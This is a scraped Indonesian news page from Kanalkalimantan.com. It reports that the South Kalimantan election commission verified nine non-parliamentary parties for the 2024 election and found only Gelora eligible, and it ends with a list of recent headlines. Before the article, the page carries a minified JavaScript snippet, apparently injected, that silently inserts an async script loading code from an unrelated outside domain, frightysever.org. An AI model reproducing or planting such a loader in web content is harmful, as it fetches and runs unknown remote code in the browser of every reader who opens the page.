(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PEMILU 2024

Hasil Verifikasi Faktual Parpol Non Parlemen di Kalsel, Hanya 1 dari 9 Parpol yang Memenuhi Syarat


KANALKALIMANTAN.COM, BANJARMASIN – Komisi Pemilihan Umum (KPU) Provinsi Kalsel telah merampungkan salah satu rangkaian dari tahapan Pemilu 2024, yaitu verifikasi faktual terhadap partai politik calon peserta Pemilu 2024.

Terdapat 9 partai politik non parlemen yang sebelumnya dilakukan verifikasi faktual oleh KPU Kalsel, antara lain melakukan pencocokan data sipol, verifikasi kepengurusan parpol, verifikasi sekretariat atau kantor, hingga verifikasi 30% keterwakilan perempuan.

Adapun 9 Parpol non parlemen yang telah dilakukan verifikasi faktual oleh KPU Kalsel antara lain Partai Buruh, Partai Garda Perubahan Indonesia (Garuda), Partai Bulan Bintang (PBB), Partai Gelombang Rakyat Indonesia (Gelora), Partai Persatuan Indonesia (Perindo), Partai Solidaritas Indonesia (PSI), Partai Ummat, Partai Hati Nurani Rakyat (Hanura), dan Partai Kebangkitan Nusantara (PKN).

Divisi Penyelenggara Teknis KPU Kalsel, Hatmiati Mas’ud, Jumat (11/11/2022), mengatakan, KPU Kalsel telah menyampaikan hasil dari verifikasi faktual parpol non parlemen kepada KPU RI.

 

Baca juga : Wali Kota Aditya Lantik Kadis Arsip dan Perpustakaan Banjarbaru

“Hasil KPU Provinsi Kalsel sudah kita sampaikan ke KPU RI pada tanggal 7 November kemarin,” katanya.

Hatmiati mengatakan, secara nasional, 9 partai politik non parlemen tersebut tidak memenuhi syarat verifikasi faktual. Sedangkan untuk hasil verifikasi di Kalsel hanya 1 Parpol yang memenuhi syarat.

“Secara nasional kesembilan Parpol itu belum ada yang memenuhi syarat,” ujarnya kepada Kanalkalimantan.com.

“Di Provinsi Kalsel berdasarkan proyeksi sipol ada 1 partai politik yang memenuhi syarat, sedangkan 8 Parpol ainnya harus melakukan verifikasi faktual perbaikan,” jelas Hatmiati.

Baca juga  : Lahan Permakaman Bertebaran di Banjarbaru, Tanah Kosong Dibeli Jadi Pekuburan Tak Berizin

Diketahui, jika Parpol non parlemen yang memenuhi syarat pada hasil verefikasi faktual yakni Partai Gelombang Rakyat Indonesia (Gelora), sedang 8 lainnya Belum Memenuhi Syarat (BMS).

Kedelapan Parpol yang belum memenuhi syarat tersebut diberikan kesempatan selama 13 hari untuk melakukan perbaikan, seperti melakukan penginputan data pada sipol dimasa perbaikan terhitung dari tanggal 10 sampai 23 November 2022. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Desy Arfianty

Recent Posts

Camat Lurah Boleh Jabat Sekretariat PPK PPS

KANALKALIMANTAN.COM, BANJARBARU - Camat dan Lurah diperbolehkan menjabat sebagai Sekretariat Panitia Pemungutan Kecamatan (PPK) maupun… Read More

5 jam ago

Sekretaris Nasdem Kalsel Melamar Golkar, Rozanie Sadar Cukup Posisi Calon Wagub

KANALKALIMANTAN.COM, BANJARMASIN - Pemilihan Kepala Daerah (Pilkada) serentak 2024, sejumlah tokoh mulai mencari dukungan partai… Read More

6 jam ago

Mesin Terbakar di Udara, Pesawat Jemaah Haji Kloter 5 Embarkasi Makassar Kembali Mendarat

KANALKALIMANTAN.COM, MAKASSAR - Momen mencekam mewarnai penerbangan 450 jemaah haji asal Sulawesi Selatan (Sulsel) terjadi,… Read More

6 jam ago

Meteran Air Leding PAM Bandarmasih Hilang, Biaya Pergantian Ditanggung Pelanggan

KANALAKALIMANTAN.COM, BANJARMASIN - Pelanggan air bersih Perusahan Air Minum (PAM) Bandarmasih Kota Banjarmasin Provinsi Kalimantan… Read More

6 jam ago

Layanan Posyandu Terintegrasi di Desa Manusup

KANALKALIMANTAN.COM, KUALA KAPUAS – Upaya memberikan pelayanan kesehatan dasar kepada masyarakat terus dilakukan Pos Pelayanan… Read More

6 jam ago

Kampung KB Guntung Manggis Masuk Enam Besar Nasional

KANALKALIMANTAN.COM, BANJARBARU - Dukungan segenap unsur pemerintahan mengantarkan Kampung Keluarga Berkualitas (KB) Kelurahan Guntung Manggis… Read More

7 jam ago

This website uses cookies.